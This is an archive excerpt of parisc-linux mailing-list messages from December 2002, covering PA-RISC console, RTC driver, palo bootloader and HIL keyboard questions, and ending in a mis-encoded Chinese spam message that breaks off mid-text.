Cc: parisc-linux@lists.parisc-linux.org
To: "Ryan Bradetich" <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 24 00:27:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id E5D244829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Dec 2002 00:27:57 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18QjTi-0000W0-00; Tue, 24 Dec 2002 08:27:50 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 24 Dec 2002 08:27:49 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17189

Hi Ryan,
>
>The PDC Console should work for this box as it is really a firmware
>console.

I though too but seems to cause a problem with pci-ide cdrom?

>  The firmware console talks to /dev/ttyB0 instead of
>/dev/ttyS0, so that might be your problem?  Also in recent kernels the
>major number of /dev/ttyB0 changed from 60 to 11 so make sure the
>device file is correct.

IMHO it doesn't matter, as mentionned in previous mail, the system hang
very earlier at 'Search devices ...' step and the cdrom green led stay co=
ntiniously
light. Even TOC (I try it to get a piminfo) doesn't work at this stage.
Additionally, on a another b180 the problem doesn't occurs with the same
kernel?

>
>Finally, out of curiosity, why are you trying to use the PDC console?
>The B2k should have a 16550 port (off the suckyio chip???) that should
>work for you.
>
Yes usual serial console works fine for this model.
In fact the first goal was not to test PDC console but it was to test the=

basic config files suggested in arch/parisc/debian-configs (32 bits becau=
se
I test it in parallel on a 180).
AFAIK it is the config used to build install CD and network boot lifimage=
?
So, in case of problem (test corrupting system, disk broken, ...) and for=

the newbies, I would be sure that config is also relevant to (re-)build
_quickly_ a system of this model.

Thanks for your attention and advises (it will be usefull for futur test)=
.

Merry Christmas,
    Joel

PS: For 32 bit release UP release, I also find strange that DEBUG SPINLOC=
K
option was selected and selectable. I was also convinced that it had only=

matter with SMP config?


********************************************
Promo Tiscali ADSL: 35 Euros/mois, 1er mois et activation =3D 0 Euro http=
://adsl.tiscali.be





From - Thu Nov 08 21:26:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tim Kemna" <t.kemna@student.utwente.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PCMCIA network card on 712
Date: Tue, 24 Dec 2002 14:32:43 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <002c01c2ab50$f452ddc0$4fe85982@kabel.utwente.nl>
References: <3DED9A6600002FAC@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622050 18926 80.91.229.3 (22 Nov 2014 02:07:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:30 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 24 06:33:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from netlx010.civ.utwente.nl (netlx010.civ.utwente.nl [130.89.1.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0B24A4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Dec 2002 06:33:01 -0700 (MST)
Original-Received: from kabel209080 (kabel209080.kabel.utwente.nl [130.89.232.79])
          by netlx010.civ.utwente.nl (8.11.4/HKD) with SMTP id gBODWnb28552
          for <parisc-linux@lists.parisc-linux.org>; Tue, 24 Dec 2002 14:32:50 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2720.3000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-UTwente-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17190

Hi,

I'd like to have a 2nd network card on my 712/80. I know there is a normal
expansion card from HP, but they are hard to get.
Someone told me it's also possible to use a PCMCIA netword card. Is that
true and does anyone ever tried that?

Greetings,
Tim



From - Thu Nov 08 21:26:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Generic RTC driver in 2.4.x?
Date: Tue, 24 Dec 2002 14:55:47 +0100 (MET)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.21.0212241451450.1821-100000__15817.9049533375$1416622050$gmane$org@vervain.sonytel.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622050 18928 80.91.229.3 (22 Nov 2014 02:07:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:30 +0000 (UTC)
Cc: Linux Kernel Development <linux-kernel@vger.kernel.org>
To: parisc-linux@parisc-linux.org,
	Linux/PPC Development <linuxppc-dev@lists.linuxppc.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 24 06:56:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.sonytel.be (mail2.sonytel.be [195.0.45.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0D8264829
	for <parisc-linux@parisc-linux.org>; Tue, 24 Dec 2002 06:56:09 -0700 (MST)
Original-Received: from vervain.sonytel.be (mail.sonytel.be [10.17.0.26])
	by mail.sonytel.be (8.9.0/8.8.6) with ESMTP id OAA08236;
	Tue, 24 Dec 2002 14:55:47 +0100 (MET)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17191

AFAIK the generic RTC driver is used on PA-RISC, PPC, and m68k.

Are you interested in a backport to 2.4.x?

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds



From - Thu Nov 08 21:26:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic RTC driver in 2.4.x?
Date: Tue, 24 Dec 2002 15:51:47 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <20021224235147.GT19331__29231.2508835041$1416622050$gmane$org@tausq.org>
References: <Pine.GSO.4.21.0212241451450.1821-100000@vervain.sonytel.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622050 18932 80.91.229.3 (22 Nov 2014 02:07:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:30 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
	Linux/PPC Development <linuxppc-dev@lists.linuxppc.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Dec 24 16:50:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C9354829
	for <parisc-linux@parisc-linux.org>; Tue, 24 Dec 2002 16:50:48 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 336D3CD64C; Tue, 24 Dec 2002 15:51:47 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <Pine.GSO.4.21.0212241451450.1821-100000@vervain.sonytel.be>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17192

> AFAIK the generic RTC driver is used on PA-RISC, PPC, and m68k.
> 
> Are you interested in a backport to 2.4.x?

On parisc we already have a version of the generic RTC driver in our
2.4 tree. If there's something more "official" or common we can adopt
that version. 

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bjoern A. Zeeb" <bzeeb-lists@lists.zabbadoz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palo feature request
Date: Thu, 26 Dec 2002 02:54:35 +0000 (UTC)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.44.0212260248270.647-100000@e0-0.zab2.int.zabbadoz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622051 18934 80.91.229.3 (22 Nov 2014 02:07:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 25 19:57:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from transport.cksoft.de (unknown [62.111.66.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 53D154829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 25 Dec 2002 19:57:35 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by transport.cksoft.de (Postfix) with ESMTP id 5660A1FFF3D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Dec 2002 03:57:09 +0100 (CET)
Original-Received: by transport.cksoft.de (Postfix, from userid 66)
	id 9AB871FFDE5; Thu, 26 Dec 2002 03:57:08 +0100 (CET)
Original-Received: by mail.int.zabbadoz.net (Postfix, from userid 1060)
	id DDB2D1533B; Thu, 26 Dec 2002 02:54:35 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
	by mail.int.zabbadoz.net (Postfix) with ESMTP id D4A581532D
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Dec 2002 02:54:35 +0000 (UTC)
X-X-Sender: bz@e0-0.zab2.int.zabbadoz.net
X-Virus-Scanned: by AMaViS snapshot-20020300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17193

Hi,

when palo cannot find a given kernel one gets that nice error
message. Can we go into interactive mode at this point after the
ERROR: ... ? ... so that one still has a chance to continue
booting without standing up and walking next room ;-)

--- cut ---
Booting
0x06.C7FF
palo ipl 1.1 root@c3k Tue Aug  6 09:39:51 MDT 2002

Partition Start(MB) End(MB) Id Type
1               1      30   f0 Palo
2              31     156   82 swap
3             157    2046   83 ext2

PALO(F0) partition contains:
    0/vmlinux32 3584504 bytes @ 0x48000

Command line for kernel: 'root=/dev/sda3 HOME=/ TERM=linux console=ttyS0 palo_kernel=3/boot/vmlinux-2.5.53-pa3'
Selected kernel: /boot/vmlinux-2.5.53-pa3 from partition 3
ERROR: open /boot/vmlinux-2.5.53-pa3 from partition 3 failed
--- need to press power button here to continue and boot ipl ? ---

-- 
Bjoern A. Zeeb				bzeeb at Zabbadoz dot NeT
56 69 73 69 74				http://www.zabbadoz.net/



From - Thu Nov 08 21:26:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PCMCIA network card on 712
Date: Thu, 26 Dec 2002 00:04:29 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20021226070429.GA3698@dsl2.external.hp.com>
References: <3DED9A6600002FAC@ocpmta3.freegates.net> <002c01c2ab50$f452ddc0$4fe85982@kabel.utwente.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622051 18937 80.91.229.3 (22 Nov 2014 02:07:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tim Kemna <t.kemna@student.utwente.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 26 00:04:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id CB94A4829; Thu, 26 Dec 2002 00:04:29 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <002c01c2ab50$f452ddc0$4fe85982@kabel.utwente.nl>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17194

On Tue, Dec 24, 2002 at 02:32:43PM +0100, Tim Kemna wrote:
> Hi,
> 
> I'd like to have a 2nd network card on my 712/80. I know there is a normal
> expansion card from HP, but they are hard to get.
> Someone told me it's also possible to use a PCMCIA netword card. Is that
> true and does anyone ever tried that?

in a 712/80?
Hah! That "someone" is joking with you.
I'm thinking PCI-PCMCIA Bridge/adapter card would be required and
712 has no PCI slots.

grant


From - Thu Nov 08 21:26:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom Rini <trini@kernel.crashing.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Generic RTC driver in 2.4.x?
Date: Thu, 26 Dec 2002 10:55:29 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20021226175529.GB6867__27956.6794787117$1416622051$gmane$org@opus.bloom.county>
References: <Pine.GSO.4.21.0212241451450.1821-100000@vervain.sonytel.be> <20021224235147.GT19331@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622051 18938 80.91.229.3 (22 Nov 2014 02:07:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:31 +0000 (UTC)
Cc: Geert Uytterhoeven <geert@linux-m68k.org>,
	parisc-linux@parisc-linux.org,
	Linux/PPC Development <linuxppc-dev@lists.linuxppc.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 26 10:55:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from Bill-The-Cat.bloom.county (ip68-0-152-218.tc.ph.cox.net [68.0.152.218])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE4C84829
	for <parisc-linux@parisc-linux.org>; Thu, 26 Dec 2002 10:55:44 -0700 (MST)
Original-Received: from opus.bloom.county ([192.168.1.2] ident=mail)
	by Bill-The-Cat.bloom.county with esmtp (Exim 3.36 #1 (Debian))
	id 18RcEK-0002FO-00; Thu, 26 Dec 2002 10:55:36 -0700
Original-Received: from tmrini by opus.bloom.county with local (Exim 3.36 #1 (Debian))
	id 18RcED-0006E8-00; Thu, 26 Dec 2002 10:55:29 -0700
Content-Disposition: inline
In-Reply-To: <20021224235147.GT19331@tausq.org>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17195

On Tue, Dec 24, 2002 at 03:51:47PM -0800, Randolph Chung wrote:
> > AFAIK the generic RTC driver is used on PA-RISC, PPC, and m68k.
> > 
> > Are you interested in a backport to 2.4.x?
> 
> On parisc we already have a version of the generic RTC driver in our
> 2.4 tree. If there's something more "official" or common we can adopt
> that version. 

Similarly, PPC has had it's own 'generic' RTC driver in the kernel for
ages, so there's no pressing need, but if the 2.5 version makes its way
back into 2.4 (as the 2.5 version has some minor changes needed for
everyone which weren't in the 2.4 m68k version), we can easily switch to
that version.

-- 
Tom Rini (TR1265)
http://gate.crashing.org/~trini/


From - Thu Nov 08 21:26:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John K." <jkirk9@cfl.rr.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HIL Keyboard and mouse with KDE
Date: Thu, 26 Dec 2002 14:16:20 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <NDBBLBLICLEJGEFEEOCICEDMCDAA.jkirk9@cfl.rr.com>
Reply-To: <jkirk9@cfl.rr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622052 18940 80.91.229.3 (22 Nov 2014 02:07:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:32 +0000 (UTC)
To: "parisc-linux Mailing list" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 26 12:19:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-server4.tampabay.rr.com (smtp-server4.tampabay.rr.com [65.32.1.43])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6420E4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Dec 2002 12:19:33 -0700 (MST)
Original-Received: from pentium-200 (226.2.35.65.cfl.rr.com [65.35.2.226])
	by smtp-server4.tampabay.rr.com (8.12.2/8.12.2) with SMTP id gBQJIkeL019418
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Dec 2002 14:19:24 -0500 (EST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17196

All

I have a 710 with HIL keyboard and mouse and have installed
debian-30r0-hppa.  When I boot the system I get the graphical login screen
but the keyboard is not working correctly.  Most of the keys don't seem to
do anything and the ones that do something put the wrong character on the
screen.  For example j is "/", the right "Extend Char" is 1, left "Extend
Char" is 2.

I found the HOWTO: Using HIL keyboard and HIL mouse on PARISC by Helge
Deller, Jun 30, 2002.

1.  I have the files /dev/input/mice, /dev/input/mouseX and
/dev/input/eventX where X is 0, 1, 2 and 3.

2.  I did not have a /etc/gpm.conf file so created one with the two lines:
device=/dev/input/mice
type=imps2

3.  I modified the etc/X11/XF86Config-4 as indicated in the HOWTO.

4.  Rebooted the system.

What do I do now?

Background:  When I first installed from the CD one of the first things that
is to do from the install menu is "Configure Keyboard" if I did that and
selected the option that would be the one I would think correct "Qwerty US"
the keyboard was also hosed so I just skipped that step.  After successfully
installing PARISC Linux it would come up with a command line login prompt
instead of the graphical login screen that I have now.  I started getting
the graphical login screen after fixing the video sections in the
XF86Config-4.

PS:  Is there someway to "interrupt" the boot process so that I get the
command line login instead of the graphical login screen?

PPS:  There is no way to "exit" from the nano-tiny editor.

Thanks for any and all help with my problems.

John Kirk




From - Thu Nov 08 21:26:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ƹƷĺð@dsl2.external.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 9800ȫַܿ+100Ӫ
Date: Fri, 27 Dec 02 04:57:44 йʱʱ
Lines: 92
Approved: news@gmane.org
Message-ID: <20021226205952.ADB294829@dsl2.external.hp.com>
Reply-To: @dsl2.external.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
    boundary="----=_NextPart_000_0059_14E6004B.3EB200E3"
X-Trace: ger.gmane.org 1416622052 18943 80.91.229.3 (22 Nov 2014 02:07:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:07:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 26 13:59:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ojs-home (unknown [218.17.67.202])
	by dsl2.external.hp.com (Postfix) with SMTP id ADB294829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Dec 2002 13:59:52 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17197

------=_NextPart_000_0059_14E6004B.3EB200E3
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_005A_14E6004B.3EB200E3"


------=_NextPart_001_005A_14E6004B.3EB200E3
Content-Type: text/plain; charset=gb2312
Content-Transfer-Encoding: quoted-printable

óıʽдʼʹóıʽ


---------------------------
=C8=E7=B9=FB=D5=E2=B7=E2=D3=CA=BC=FE=B4=F2=C8=C5=C4=FA=C1=CB=A3=AC=B7=B3=C7=
=EB=CB=E6=CA=D6=C9=BE=B5=F4=A3=AC=B2=A2=C7=EB=BC=FB=C1=C2=A1=A3
=C8=F4=C4=FA=B2=BB=CF=A3=CD=FB=D4=D9=B4=CE=CA=D5=B5=BD=CE=D2=C3=C7=B5=C4=D3=
